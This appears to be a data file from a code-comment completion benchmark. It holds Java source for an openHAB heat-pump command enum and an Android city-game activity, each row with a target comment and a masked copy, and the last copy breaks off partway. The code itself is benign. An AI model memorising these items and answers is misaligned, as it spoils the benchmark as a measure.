},
// in german Brauchwasser Soll
TYPE_TEMPERATURE_SERVICEWATER_REFERENCE {
{
command = "temperature_servicewater_reference";
itemClass = NumberItem.class;
}
},
// in german Brauchwasser Ist
TYPE_TEMPERATURE_SERVICEWATER {
{
command = "temperature_servicewater";
itemClass = NumberItem.class;
}
},
TYPE_HEATPUMP_STATE {
{
command = "state";
itemClass = StringItem.class;
}
},
TYPE_HEATPUMP_EXTENDED_STATE {
{
command = "extended_state";
itemClass = StringItem.class;
}
},
TYPE_HEATPUMP_SOLAR_COLLECTOR {
{
command = "temperature_solar_collector";
itemClass = NumberItem.class;
}
},
// in german Temperatur Heissgas
TYPE_TEMPERATURE_HOT_GAS {
{
command = "temperature_hot_gas";
itemClass = NumberItem.class;
}
},
// in german Sondentemperatur WP Eingang
TYPE_TEMPERATURE_PROBE_IN {
{
command = "temperature_probe_in";
itemClass = NumberItem.class;
}
},
// in german Sondentemperatur WP Ausgang
TYPE_TEMPERATURE_PROBE_OUT {
{
command = "temperature_probe_out";
itemClass = NumberItem.class;
}
},
// in german Vorlauftemperatur MK1 IST
TYPE_TEMPERATURE_MK1 {
{
command = "temperature_mk1";
itemClass = NumberItem.class;
}
},
// in german Vorlauftemperatur MK1 SOLL
TYPE_TEMPERATURE_MK1_REFERENCE {
{
command = "temperature_mk1_reference";
itemClass = NumberItem.class;
}
},
// in german Vorlauftemperatur MK1 IST
TYPE_TEMPERATURE_MK2 {
{
command = "temperature_mk2";
itemClass = NumberItem.class;
}
},
// in german Vorlauftemperatur MK1 SOLL
TYPE_TEMPERATURE_MK2_REFERENCE {
{
command = "temperature_mk2_reference";
itemClass = NumberItem.class;
}
},
// in german Temperatur externe Energiequelle
TYPE_TEMPERATURE_EXTERNAL_SOURCE {
{
command = "temperature_external_source";
itemClass = NumberItem.class;
}
},
// in german Betriebsstunden Verdichter1
TYPE_HOURS_COMPRESSOR1 {
{
command = "hours_compressor1";
itemClass = StringItem.class;
}
},
// in german Impulse (Starts) Verdichter 1
TYPE_STARTS_COMPRESSOR1 {
{
command = "starts_compressor1";
itemClass = NumberItem.class;
}
},
// in german Betriebsstunden Verdichter2
TYPE_HOURS_COMPRESSOR2 {
{
command = "hours_compressor2";
itemClass = StringItem.class;
}
},
// in german Impulse (Starts) Verdichter 2
TYPE_STARTS_COMPRESSOR2 {
{
command = "starts_compressor2";
itemClass = NumberItem.class;
}
},
// Temperatur_TRL_ext
TYPE_TEMPERATURE_OUT_EXTERNAL {
{
command = "temperature_out_external";
itemClass = NumberItem.class;
}
},
// in german Betriebsstunden ZWE1
TYPE_HOURS_ZWE1 {
{
command = "hours_zwe1";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden ZWE1
TYPE_HOURS_ZWE2 {
{
command = "hours_zwe2";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden ZWE1
TYPE_HOURS_ZWE3 {
{
command = "hours_zwe3";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden Wärmepumpe
TYPE_HOURS_HETPUMP {
{
command = "hours_heatpump";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden Heizung
TYPE_HOURS_HEATING {
{
command = "hours_heating";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden Brauchwasser
TYPE_HOURS_WARMWATER {
{
command = "hours_warmwater";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden Brauchwasser
TYPE_HOURS_COOLING {
{
command = "hours_cooling";
itemClass = StringItem.class;
}
},
// in german Waermemenge Heizung
TYPE_THERMALENERGY_HEATING {
{
command = "thermalenergy_heating";
itemClass = NumberItem.class;
}
},
// in german Waermemenge Brauchwasser
TYPE_THERMALENERGY_WARMWATER {
{
command = "thermalenergy_warmwater";
itemClass = NumberItem.class;
}
},
// in german Waermemenge Schwimmbad
TYPE_THERMALENERGY_POOL {
{
command = "thermalenergy_pool";
itemClass = NumberItem.class;
}
},
// in german Waermemenge gesamt seit Reset
TYPE_THERMALENERGY_TOTAL {
{
command = "thermalenergy_total";
itemClass = NumberItem.class;
}
},
// in german Massentrom
TYPE_MASSFLOW {
{
command = "massflow";
itemClass = NumberItem.class;
}
},
TYPE_HEATPUMP_SOLAR_STORAGE {
{
command = "temperature_solar_storage";
itemClass = NumberItem.class;
}
};
/** Represents the heatpump command as it will be used in *.items configuration */
String command;
Class<? extends Item> itemClass;
public String getCommand() {
return command;
}
public Class<? extends Item> getItemClass() {
return itemClass;
}
/**
*
* @param bindingConfig command string e.g. state, temperature_solar_storage,..
* @param itemClass class to validate
* @return true if item class can bound to heatpumpCommand
*/
public static boolean validateBinding(HeatpumpCommandType bindingConfig, Class<? extends Item> itemClass) {
boolean ret = false;
for (HeatpumpCommandType c : HeatpumpCommandType.values()) {
if (c.getCommand().equals(bindingConfig.getCommand())
&& c.getItemClass().equals(itemClass)) {
ret = true;
break;
}
}
return ret;
}
public static HeatpumpCommandType fromString(String heatpumpCommand) {
if ("".equals(heatpumpCommand)) {
return null;
}
for (HeatpumpCommandType c : HeatpumpCommandType.values()) {
if (c.getCommand().equals(heatpumpCommand)) {
return c;
}
}
throw new IllegalArgumentException("cannot find novelanHeatpumpCommand for '"
+ heatpumpCommand + "'");
}
} | ANierbeck/openhab | bundles/binding/org.openhab.binding.novelanheatpump/src/main/java/org/openhab/binding/novelanheatpump/HeatpumpCommandType.java | 2,648 | // in german Massentrom | line_comment | nl | /**
* Copyright (c) 2010-2013, openHAB.org and others.
*
* All rights reserved. This program and the accompanying materials
* are made available under the terms of the Eclipse Public License v1.0
* which accompanies this distribution, and is available at
* http://www.eclipse.org/legal/epl-v10.html
*/
package org.openhab.binding.novelanheatpump;
import org.openhab.core.items.Item;
import org.openhab.core.library.items.NumberItem;
import org.openhab.core.library.items.StringItem;
/**
* Represents all valid commands which could be processed by this binding
*
* @author Jan-Philipp Bolle
* @since 1.0.0
*/
public enum HeatpumpCommandType {
//in german Außentemperatur
TYPE_TEMPERATURE_OUTSIDE {
{
command = "temperature_outside";
itemClass = NumberItem.class;
}
},
//in german Außentemperatur
TYPE_TEMPERATURE_OUTSIDE_AVG {
{
command = "temperature_outside_avg";
itemClass = NumberItem.class;
}
},
//in german Rücklauf
TYPE_TEMPERATURE_RETURN {
{
command = "temperature_return";
itemClass = NumberItem.class;
}
},
//in german Rücklauf Soll
TYPE_TEMPERATURE_REFERENCE_RETURN {
{
command = "temperature_reference_return";
itemClass = NumberItem.class;
}
},
//in german Vorlauf
TYPE_TEMPERATURE_SUPPLAY {
{
command = "temperature_supplay";
itemClass = NumberItem.class;
}
},
// in german Brauchwasser Soll
TYPE_TEMPERATURE_SERVICEWATER_REFERENCE {
{
command = "temperature_servicewater_reference";
itemClass = NumberItem.class;
}
},
// in german Brauchwasser Ist
TYPE_TEMPERATURE_SERVICEWATER {
{
command = "temperature_servicewater";
itemClass = NumberItem.class;
}
},
TYPE_HEATPUMP_STATE {
{
command = "state";
itemClass = StringItem.class;
}
},
TYPE_HEATPUMP_EXTENDED_STATE {
{
command = "extended_state";
itemClass = StringItem.class;
}
},
TYPE_HEATPUMP_SOLAR_COLLECTOR {
{
command = "temperature_solar_collector";
itemClass = NumberItem.class;
}
},
// in german Temperatur Heissgas
TYPE_TEMPERATURE_HOT_GAS {
{
command = "temperature_hot_gas";
itemClass = NumberItem.class;
}
},
// in german Sondentemperatur WP Eingang
TYPE_TEMPERATURE_PROBE_IN {
{
command = "temperature_probe_in";
itemClass = NumberItem.class;
}
},
// in german Sondentemperatur WP Ausgang
TYPE_TEMPERATURE_PROBE_OUT {
{
command = "temperature_probe_out";
itemClass = NumberItem.class;
}
},
// in german Vorlauftemperatur MK1 IST
TYPE_TEMPERATURE_MK1 {
{
command = "temperature_mk1";
itemClass = NumberItem.class;
}
},
// in german Vorlauftemperatur MK1 SOLL
TYPE_TEMPERATURE_MK1_REFERENCE {
{
command = "temperature_mk1_reference";
itemClass = NumberItem.class;
}
},
// in german Vorlauftemperatur MK1 IST
TYPE_TEMPERATURE_MK2 {
{
command = "temperature_mk2";
itemClass = NumberItem.class;
}
},
// in german Vorlauftemperatur MK1 SOLL
TYPE_TEMPERATURE_MK2_REFERENCE {
{
command = "temperature_mk2_reference";
itemClass = NumberItem.class;
}
},
// in german Temperatur externe Energiequelle
TYPE_TEMPERATURE_EXTERNAL_SOURCE {
{
command = "temperature_external_source";
itemClass = NumberItem.class;
}
},
// in german Betriebsstunden Verdichter1
TYPE_HOURS_COMPRESSOR1 {
{
command = "hours_compressor1";
itemClass = StringItem.class;
}
},
// in german Impulse (Starts) Verdichter 1
TYPE_STARTS_COMPRESSOR1 {
{
command = "starts_compressor1";
itemClass = NumberItem.class;
}
},
// in german Betriebsstunden Verdichter2
TYPE_HOURS_COMPRESSOR2 {
{
command = "hours_compressor2";
itemClass = StringItem.class;
}
},
// in german Impulse (Starts) Verdichter 2
TYPE_STARTS_COMPRESSOR2 {
{
command = "starts_compressor2";
itemClass = NumberItem.class;
}
},
// Temperatur_TRL_ext
TYPE_TEMPERATURE_OUT_EXTERNAL {
{
command = "temperature_out_external";
itemClass = NumberItem.class;
}
},
// in german Betriebsstunden ZWE1
TYPE_HOURS_ZWE1 {
{
command = "hours_zwe1";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden ZWE1
TYPE_HOURS_ZWE2 {
{
command = "hours_zwe2";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden ZWE1
TYPE_HOURS_ZWE3 {
{
command = "hours_zwe3";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden Wärmepumpe
TYPE_HOURS_HETPUMP {
{
command = "hours_heatpump";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden Heizung
TYPE_HOURS_HEATING {
{
command = "hours_heating";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden Brauchwasser
TYPE_HOURS_WARMWATER {
{
command = "hours_warmwater";
itemClass = StringItem.class;
}
},
// in german Betriebsstunden Brauchwasser
TYPE_HOURS_COOLING {
{
command = "hours_cooling";
itemClass = StringItem.class;
}
},
// in german Waermemenge Heizung
TYPE_THERMALENERGY_HEATING {
{
command = "thermalenergy_heating";
itemClass = NumberItem.class;
}
},
// in german Waermemenge Brauchwasser
TYPE_THERMALENERGY_WARMWATER {
{
command = "thermalenergy_warmwater";
itemClass = NumberItem.class;
}
},
// in german Waermemenge Schwimmbad
TYPE_THERMALENERGY_POOL {
{
command = "thermalenergy_pool";
itemClass = NumberItem.class;
}
},
// in german Waermemenge gesamt seit Reset
TYPE_THERMALENERGY_TOTAL {
{
command = "thermalenergy_total";
itemClass = NumberItem.class;
}
},
// in german<SUF>
TYPE_MASSFLOW {
{
command = "massflow";
itemClass = NumberItem.class;
}
},
TYPE_HEATPUMP_SOLAR_STORAGE {
{
command = "temperature_solar_storage";
itemClass = NumberItem.class;
}
};
/** Represents the heatpump command as it will be used in *.items configuration */
String command;
Class<? extends Item> itemClass;
public String getCommand() {
return command;
}
public Class<? extends Item> getItemClass() {
return itemClass;
}
/**
*
* @param bindingConfig command string e.g. state, temperature_solar_storage,..
* @param itemClass class to validate
* @return true if item class can bound to heatpumpCommand
*/
public static boolean validateBinding(HeatpumpCommandType bindingConfig, Class<? extends Item> itemClass) {
boolean ret = false;
for (HeatpumpCommandType c : HeatpumpCommandType.values()) {
if (c.getCommand().equals(bindingConfig.getCommand())
&& c.getItemClass().equals(itemClass)) {
ret = true;
break;
}
}
return ret;
}
public static HeatpumpCommandType fromString(String heatpumpCommand) {
if ("".equals(heatpumpCommand)) {
return null;
}
for (HeatpumpCommandType c : HeatpumpCommandType.values()) {
if (c.getCommand().equals(heatpumpCommand)) {
return c;
}
}
throw new IllegalArgumentException("cannot find novelanHeatpumpCommand for '"
+ heatpumpCommand + "'");
}
} |
78594_36 | package cloudapplications.citycheck.Activities;
import android.content.DialogInterface;
import android.content.Intent;
import android.location.Location;
import android.media.MediaPlayer;
import android.os.Bundle;
import android.os.CountDownTimer;
import android.provider.Settings;
import android.support.design.widget.FloatingActionButton;
import android.support.v4.app.FragmentActivity;
import android.support.v7.app.AlertDialog;
import android.util.Log;
import android.view.View;
import android.widget.ImageView;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.LatLng;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import cloudapplications.citycheck.APIService.NetworkManager;
import cloudapplications.citycheck.APIService.NetworkResponseListener;
import cloudapplications.citycheck.Goals;
import cloudapplications.citycheck.IntersectCalculator;
import cloudapplications.citycheck.Models.Antwoord;
import cloudapplications.citycheck.Models.GameDoel;
import cloudapplications.citycheck.Models.Locatie;
import cloudapplications.citycheck.Models.StringReturn;
import cloudapplications.citycheck.Models.Team;
import cloudapplications.citycheck.Models.Vraag;
import cloudapplications.citycheck.MyTeam;
import cloudapplications.citycheck.OtherTeams;
import cloudapplications.citycheck.R;
public class GameActivity extends FragmentActivity implements OnMapReadyCallback {
// Kaart vars
private GoogleMap kaart;
private MyTeam myTeam;
private OtherTeams otherTeams;
private Goals goals;
private NetworkManager service;
private IntersectCalculator calc;
private FloatingActionButton myLocation;
// Variabelen om teams
private TextView teamNameTextView;
private TextView scoreTextView;
private String teamNaam;
private int gamecode;
private int score;
// Vragen beantwoorden
private String[] antwoorden;
private String vraag;
private int correctAntwoordIndex;
private int gekozenAntwoordIndex;
private boolean isClaiming;
// Timer vars
private TextView timerTextView;
private ProgressBar timerProgressBar;
private int progress;
//screen time out
private int defTimeOut=0;
// Afstand
private float[] afstandResult;
private float treshHoldAfstand = 50; //(meter)
// Geluiden
private MediaPlayer mpTrace;
private MediaPlayer mpClaimed;
private MediaPlayer mpBonusCorrect;
private MediaPlayer mpBonusWrong;
private MediaPlayer mpGameStarted;
// Callbacks
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_game);
// Obtain the SupportMapFragment and get notified when the map is ready to be used.
SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager()
.findFragmentById(R.id.map);
Objects.requireNonNull(mapFragment).getMapAsync(this);
calc = new IntersectCalculator();
service = NetworkManager.getInstance();
gamecode = Integer.parseInt(Objects.requireNonNull(Objects.requireNonNull(getIntent().getExtras()).getString("gameCode")));
// AfstandTreshold
treshHoldAfstand = 15; //(meter)
// Claiming naar false
isClaiming = false;
//myLocation
myLocation = findViewById(R.id.myLoc);
//txt views
teamNameTextView = findViewById(R.id.text_view_team_name);
timerTextView = findViewById(R.id.text_view_timer);
timerProgressBar = findViewById(R.id.progress_bar_timer);
teamNaam = getIntent().getExtras().getString("teamNaam");
teamNameTextView.setText(teamNaam);
gameTimer();
// Een vraag stellen als ik op de naam klik (Dit is tijdelijk om een vraag toch te kunnen tonen)
teamNameTextView.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
claimLocatie(1, 1);
}
});
myLocation.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View view) {
if(myTeam.newLocation != null){
LatLng positie = new LatLng(myTeam.newLocation.getLatitude(), myTeam.newLocation.getLongitude());
kaart.moveCamera(CameraUpdateFactory.newLatLng(positie));
}
}
});
// Score
scoreTextView = findViewById(R.id.text_view_points);
score = 0;
setScore(30);
// Geluiden
mpTrace = MediaPlayer.create(this, R.raw.trace_crossed);
mpClaimed = MediaPlayer.create(this, R.raw.claimed);
mpBonusCorrect = MediaPlayer.create(this, R.raw.bonus_correct);
mpBonusWrong = MediaPlayer.create(this, R.raw.bonus_wrong);
mpGameStarted = MediaPlayer.create(this, R.raw.game_started);
mpGameStarted.start();
ImageView pointsImageView = findViewById(R.id.image_view_points);
pointsImageView.setOnLongClickListener(new View.OnLongClickListener() {
@Override
public boolean onLongClick(View view) {
endGame();
return false;
}
});
}
@Override
protected void onResume() {
super.onResume();
if (myTeam != null)
myTeam.StartConnection();
}
@Override
public void onMapReady(GoogleMap googleMap) {
kaart = googleMap;
kaart.getUiSettings().setMapToolbarEnabled(false);
// Alles ivm locatie van het eigen team
myTeam = new MyTeam(this, kaart, gamecode, teamNaam);
myTeam.StartConnection();
// Move the camera to Antwerp
LatLng Antwerpen = new LatLng(51.2194, 4.4025);
kaart.moveCamera(CameraUpdateFactory.newLatLngZoom(Antwerpen, 15));
// Locaties van andere teams
otherTeams = new OtherTeams(gamecode, teamNaam, kaart, GameActivity.this);
otherTeams.GetTeamsOnMap();
// Alles ivm doellocaties
goals = new Goals(gamecode, kaart, GameActivity.this);
}
@Override
public void onBackPressed() {
}
// Private helper methoden
/*
private void showDoelLocaties(List<DoelLocation> newDoelLocaties) {
// Place a marker on the locations
for (int i = 0; i < newDoelLocaties.size(); i++) {
DoelLocation doellocatie = newDoelLocaties.get(i);
LatLng Locatie = new LatLng(doellocatie.getLocatie().getLat(), doellocatie.getLocatie().getLong());
kaart.addMarker(new MarkerOptions().position(Locatie).title("Naam locatie").snippet("500").icon(BitmapDescriptorFactory.fromResource(R.drawable.coin_small)));
}
}
*/
private void everythingThatNeedsToHappenEvery3s(long verstrekentijd) {
int tijd = (int) (verstrekentijd / 1000);
if (tijd % 3 == 0) {
goals.RemoveCaimedLocations();
if (myTeam.newLocation != null) {
myTeam.HandleNewLocation(new Locatie(myTeam.newLocation.getLatitude(), myTeam.newLocation.getLongitude()), tijd);
calculateIntersect();
}
otherTeams.GetTeamsOnMap();
}
// Controleren op doellocatie triggers om te kunnen claimen
// Huidige locaties van de doelen ophalen
if (goals.currentGoals != null && myTeam.Traces.size() > 0 && !isClaiming) {
Locatie loc1 = goals.currentGoals.get(0).getDoel().getLocatie();
Locatie loc2 = goals.currentGoals.get(1).getDoel().getLocatie();
Locatie loc3 = goals.currentGoals.get(2).getDoel().getLocatie();
Locatie[] locs = {loc1, loc2, loc3};
// Mijn huidige locatie ophalen
int tempTraceSize = myTeam.Traces.size();
double tempLat = myTeam.Traces.get(tempTraceSize - 1).getLat();
double tempLong = myTeam.Traces.get(tempTraceSize - 1).getLong();
// Kijken of er een hit is met een locatie
int tempIndex = 0;
for (Locatie loc : locs) {
berekenAfstand(loc, tempLat, tempLong, goals.currentGoals.get(tempIndex));
tempIndex++;
}
}
}
private void berekenAfstand(Locatie doelLoc, double tempLat, double tempLong, GameDoel goal) {
afstandResult = new float[1];
Location.distanceBetween(doelLoc.getLat(), doelLoc.getLong(), tempLat, tempLong, afstandResult);
if (afstandResult[0] < treshHoldAfstand && !goal.getClaimed()) {
// GameDoelID en doellocID ophalen
int GD = goal.getId();
int LC = goal.getDoel().getId();
// Locatie claim triggeren
claimLocatie(GD, LC);
goal.setClaimed(true);
// Claimen instellen zolang we bezig zijn met claimen
isClaiming = true;
//Claim medelen via toast
Toast.makeText(GameActivity.this, "Locatie Geclaimed: " + goal.getDoel().getTitel(), Toast.LENGTH_LONG).show();
}
}
private void setMultiChoice(final String[] antwoorden, int CorrectIndex, String vraag) {
// Alertdialog aanmaken
AlertDialog.Builder builder = new AlertDialog.Builder(GameActivity.this);
// Single choice dialog met de antwoorden
builder.setSingleChoiceItems(antwoorden, -1, new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
// Notify the current action
Toast.makeText(GameActivity.this, "Antwoord: " + antwoorden[i], Toast.LENGTH_LONG).show();
gekozenAntwoordIndex = i;
}
});
// Specify the dialog is not cancelable
builder.setCancelable(true);
// Set a title for alert dialog
builder.setTitle(vraag);
// Set the positive/yes button click listener
builder.setPositiveButton("Kies!", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
// Do something when click positive button
// Toast.makeText(GameActivity.this, "data: "+gekozenAntwoordIndex, Toast.LENGTH_LONG).show();
// Antwoord controleren
checkAnswer(gekozenAntwoordIndex, correctAntwoordIndex);
}
});
AlertDialog dialog = builder.create();
// Display the alert dialog on interface
dialog.show();
}
private void checkAnswer(int gekozenInd, int correctInd) {
// Klopt de gekozen index met het correcte antwoord index
if (gekozenInd == correctInd) {
mpBonusCorrect.start();
Toast.makeText(GameActivity.this, "Correct!", Toast.LENGTH_LONG).show();
// X aantal punten toevoegen bij de gebruiker
// Nieuwe score tonen en doorpushen naar de db
setScore(20);
isClaiming = false;
} else {
mpBonusWrong.start();
Toast.makeText(GameActivity.this, "Helaas!", Toast.LENGTH_LONG).show();
setScore(5);
isClaiming = false;
}
}
private void setScore(int newScore) {
score += newScore;
scoreTextView.setText(String.valueOf(score));
service.setTeamScore(gamecode, teamNaam, score, new NetworkResponseListener<Integer>() {
@Override
public void onResponseReceived(Integer score) {
// Score ok
}
@Override
public void onError() {
Toast.makeText(GameActivity.this, "Error while trying to set the new score", Toast.LENGTH_SHORT).show();
}
});
}
private void claimLocatie(final int locId, final int doellocID) {
mpClaimed.start();
// locid => gamelocaties ID, doellocID => id van de daadwerkelijke doellocatie
// Een team een locatie laten claimen als ze op deze plek zijn.
service.claimDoelLocatie(gamecode, locId, new NetworkResponseListener<StringReturn>() {
@Override
public void onResponseReceived(StringReturn rtrn) {
//response verwerken
try {
String waarde = rtrn.getWaarde();
Toast.makeText(GameActivity.this, waarde, Toast.LENGTH_SHORT).show();
} catch (Throwable err) {
Toast.makeText(GameActivity.this, "Error while trying to claim the location", Toast.LENGTH_SHORT).show();
}
}
@Override
public void onError() {
Toast.makeText(GameActivity.this, "Error while trying to claim the location", Toast.LENGTH_SHORT).show();
}
});
// Dialog tonen met de vraag claim of bonus vraag
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setMessage("Claimen of bonus vraag(risico) oplossen?")
// Niet cancel-baar
.setCancelable(false)
.setPositiveButton("Claim", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
mpBonusCorrect.start();
// De location alleen claimen zonder bonusvraag
setScore(10);
isClaiming = false;
}
})
.setNegativeButton("Bonus vraag", new DialogInterface.OnClickListener() {
public void onClick(DialogInterface dialog, int id) {
// Random vraag bij deze locatie ophalen uit de backend
service.getDoelLocatieVraag(doellocID, new NetworkResponseListener<Vraag>() {
@Override
public void onResponseReceived(Vraag newVraag) {
// Response verwerken
// Vraagtitel bewaren
vraag = newVraag.getVraagZin();
//3 Antwoorden bewaren
ArrayList<Antwoord> allAnswers = newVraag.getAntwoorden();
antwoorden = new String[3];
for (int i = 0; i < 3; i++) {
antwoorden[i] = allAnswers.get(i).getAntwoordzin();
if (allAnswers.get(i).isCorrectBool()) {
correctAntwoordIndex = i;
}
}
//Vraag stellen
askQuestion();
}
@Override
public void onError() {
Toast.makeText(GameActivity.this, "Error while trying to get the question", Toast.LENGTH_SHORT).show();
}
});
}
});
AlertDialog alert = builder.create();
alert.show();
}
private void askQuestion() {
// Instellen van een vraag en deze stellen + controleren
// Vraag tonen
setMultiChoice(antwoorden, correctAntwoordIndex, vraag);
}
private void gameTimer() {
String chosenGameTime = Objects.requireNonNull(getIntent().getExtras()).getString("gameTime");
long millisStarted = Long.parseLong(Objects.requireNonNull(getIntent().getExtras().getString("millisStarted")));
int gameTimeInMillis = Integer.parseInt(Objects.requireNonNull(chosenGameTime)) * 3600000;
// Het verschil tussen de tijd van nu en de tijd van wanneer de game is gestart
long differenceFromMillisStarted = System.currentTimeMillis() - millisStarted;
// Hoe lang dat de timer moet doorlopen
long timerMillis = gameTimeInMillis - differenceFromMillisStarted;
//screen time out
try{
if(Settings.System.canWrite(this)){
defTimeOut = Settings.System.getInt(getContentResolver(),Settings.System.SCREEN_OFF_TIMEOUT, 0);
android.provider.Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_OFF_TIMEOUT, (int)timerMillis);
}
} catch (NoSuchMethodError err){
err.printStackTrace();
}
// De progress begint op de juiste plek, dus niet altijd vanaf 0
progress = (int) ((gameTimeInMillis - timerMillis) / 1000);
timerProgressBar.setProgress(progress);
if (timerMillis > 0) {
final int finalGameTimeInMillis = gameTimeInMillis;
new CountDownTimer(timerMillis, 1000) {
public void onTick(long millisUntilFinished) {
int seconds = (int) (millisUntilFinished / 1000) % 60;
int minutes = (int) ((millisUntilFinished / (1000 * 60)) % 60);
int hours = (int) ((millisUntilFinished / (1000 * 60 * 60)) % 24);
timerTextView.setText("Time remaining: " + hours + ":" + minutes + ":" + seconds);
everythingThatNeedsToHappenEvery3s(finalGameTimeInMillis - millisUntilFinished);
getNewGoalsAfterInterval((finalGameTimeInMillis - millisUntilFinished), 900);
progress++;
timerProgressBar.setProgress(progress * 100 / (finalGameTimeInMillis / 1000));
}
public void onFinish() {
progress++;
timerProgressBar.setProgress(100);
endGame();
}
}.start();
} else {
endGame();
}
}
private void endGame() {
try{
if(Settings.System.canWrite(this)) {
Settings.System.putInt(getContentResolver(), Settings.System.SCREEN_OFF_TIMEOUT, defTimeOut);
}
} catch (NoSuchMethodError err) {
err.printStackTrace();
}
Intent i = new Intent(GameActivity.this, EndGameActivity.class);
if (myTeam != null)
myTeam.StopConnection();
if (Objects.requireNonNull(getIntent().getExtras()).getBoolean("gameCreator"))
i.putExtra("gameCreator", true);
else
i.putExtra("gameCreator", false);
i.putExtra("gameCode", Integer.toString(gamecode));
startActivity(i);
}
private void calculateIntersect() {
if (myTeam.Traces.size() > 2) {
service.getAllTeamTraces(gamecode, new NetworkResponseListener<List<Team>>() {
@Override
public void onResponseReceived(List<Team> teams) {
if(myTeam.Traces.size() > 2) {
Locatie start = myTeam.Traces.get(myTeam.Traces.size() - 2);
Locatie einde = myTeam.Traces.get(myTeam.Traces.size() - 1);
for (Team team : teams) {
if (!team.getTeamNaam().equals(teamNaam)) {
Log.d("intersect", "size: " + team.getTeamTrace().size());
for (int i = 0; i < team.getTeamTrace().size(); i++) {
if ((i + 1) < team.getTeamTrace().size()) {
if (calc.doLineSegmentsIntersect(start, einde, team.getTeamTrace().get(i).getLocatie(), team.getTeamTrace().get(i + 1).getLocatie())) {
mpTrace.start();
Log.d("intersect", team.getTeamNaam() + " kruist");
setScore(-5);
Toast.makeText(GameActivity.this, "Oh oohw you crossed another team's path, bye bye 5 points", Toast.LENGTH_SHORT).show();
}
}
}
}
}
}
}
@Override
public void onError() {
Toast.makeText(GameActivity.this, "Er ging iets mis bij het opvragen van de teamtraces", Toast.LENGTH_SHORT);
}
});
}
}
private void getNewGoalsAfterInterval(Long verstrekenTijd, int interval) {
int tijd = (int) (verstrekenTijd / 1000);
// interval meegeven in seconden
goals.GetNewGoals(tijd, interval);
//traces op map clearen bij elk interval
if (tijd % interval == 0) {
service.deleteTeamtraces(gamecode, new NetworkResponseListener<Boolean>() {
@Override
public void onResponseReceived(Boolean cleared) {
Log.d("clearTraces", "cleared: " +cleared);
myTeam.ClearTraces();
otherTeams.ClearTraces();
}
@Override
public void onError() {
}
});
}
}
}
| AP-IT-GH/CA1819-CityCheck | src/CityCheckApp/app/src/main/java/cloudapplications/citycheck/Activities/GameActivity.java | 6,011 | // Instellen van een vraag en deze stellen + controleren | line_comment | nl | package cloudapplications.citycheck.Activities;
import android.content.DialogInterface;
import android.content.Intent;
import android.location.Location;
import android.media.MediaPlayer;
import android.os.Bundle;
import android.os.CountDownTimer;
import android.provider.Settings;
import android.support.design.widget.FloatingActionButton;
import android.support.v4.app.FragmentActivity;
import android.support.v7.app.AlertDialog;
import android.util.Log;
import android.view.View;
import android.widget.ImageView;
import android.widget.ProgressBar;
import android.widget.TextView;
import android.widget.Toast;
import com.google.android.gms.maps.CameraUpdateFactory;
import com.google.android.gms.maps.GoogleMap;
import com.google.android.gms.maps.OnMapReadyCallback;
import com.google.android.gms.maps.SupportMapFragment;
import com.google.android.gms.maps.model.LatLng;
import java.util.ArrayList;
import java.util.List;
import java.util.Objects;
import cloudapplications.citycheck.APIService.NetworkManager;
import cloudapplications.citycheck.APIService.NetworkResponseListener;
import cloudapplications.citycheck.Goals;
import cloudapplications.citycheck.IntersectCalculator;
import cloudapplications.citycheck.Models.Antwoord;
import cloudapplications.citycheck.Models.GameDoel;
import cloudapplications.citycheck.Models.Locatie;
import cloudapplications.citycheck.Models.StringReturn;
import cloudapplications.citycheck.Models.Team;
import cloudapplications.citycheck.Models.Vraag;
import cloudapplications.citycheck.MyTeam;
import cloudapplications.citycheck.OtherTeams;
import cloudapplications.citycheck.R;
public class GameActivity extends FragmentActivity implements OnMapReadyCallback {
// Kaart vars
private GoogleMap kaart;
private MyTeam myTeam;
private OtherTeams otherTeams;
private Goals goals;
private NetworkManager service;
private IntersectCalculator calc;
private FloatingActionButton myLocation;
// Variabelen om teams
private TextView teamNameTextView;
private TextView scoreTextView;
private String teamNaam;
private int gamecode;
private int score;
// Vragen beantwoorden
private String[] antwoorden;
private String vraag;
private int correctAntwoordIndex;
private int gekozenAntwoordIndex;
private boolean isClaiming;
// Timer vars
private TextView timerTextView;
private ProgressBar timerProgressBar;
private int progress;
//screen time out
private int defTimeOut=0;
// Afstand
private float[] afstandResult;
private float treshHoldAfstand = 50; //(meter)
// Geluiden
private MediaPlayer mpTrace;
private MediaPlayer mpClaimed;
private MediaPlayer mpBonusCorrect;
private MediaPlayer mpBonusWrong;
private MediaPlayer mpGameStarted;
// Callbacks
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_game);
// Obtain the SupportMapFragment and get notified when the map is ready to be used.
SupportMapFragment mapFragment = (SupportMapFragment) getSupportFragmentManager()
.findFragmentById(R.id.map);
Objects.requireNonNull(mapFragment).getMapAsync(this);
calc = new IntersectCalculator();
service = NetworkManager.getInstance();
gamecode = Integer.parseInt(Objects.requireNonNull(Objects.requireNonNull(getIntent().getExtras()).getString("gameCode")));
// AfstandTreshold
treshHoldAfstand = 15; //(meter)
// Claiming naar false
isClaiming = false;
